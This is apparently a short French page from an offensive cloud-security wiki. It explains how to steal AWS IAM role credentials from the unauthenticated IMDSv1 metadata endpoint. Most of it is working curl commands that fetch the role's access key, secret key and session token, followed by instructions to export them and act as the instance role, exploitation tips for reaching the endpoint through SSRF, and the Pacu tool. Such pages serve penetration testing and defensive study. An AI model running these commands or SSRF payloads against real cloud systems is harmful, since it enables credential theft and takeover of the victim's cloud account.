IMDSv1

Lire les credentials de rôle depuis l'endpoint IMDSv1 non authentifié, souvent atteignable via un SSRF ou un point d'ancrage sur l'instance.

1 min de lecturemis à jour le 13 oct. 2026florianamette1 contributeur
Demander à votre assistant (MCP)Modifier sur GitHub

IMDSv1 répond à un simple GET sans jeton, sans en-tête, sans authentification. Toute requête qui atteint 169.254.169.254 depuis l'instance reçoit en retour les credentials du rôle, c'est pourquoi IMDSv1 associé à un SSRF est le vol de credentials cloud classique.

Lire les credentials du rôle#

bash
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE
# -> AccessKeyId / SecretAccessKey / Token / Expiration

Exportez les trois valeurs (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) et vous êtes désormais le rôle de l'instance.

Notes d'exploitation#

  • Les credentials sont temporaires ; relisez-les avant expiration pour les rafraîchir.
  • IMDSv1 est un simple GET, il est donc atteignable par des primitives SSRF qui ne peuvent pas définir d'en-têtes de requête, contrairement à IMDSv2.
  • Le même rôle est atteignable depuis une instance EC2 passée que vous avez lancée vous-même.

Outils#

  • curl sur l'instance, ou toute primitive de requête qui atteint l'adresse link-local.
  • Pacu (ec2__metadata) : récupération automatisée depuis un shell.

Références#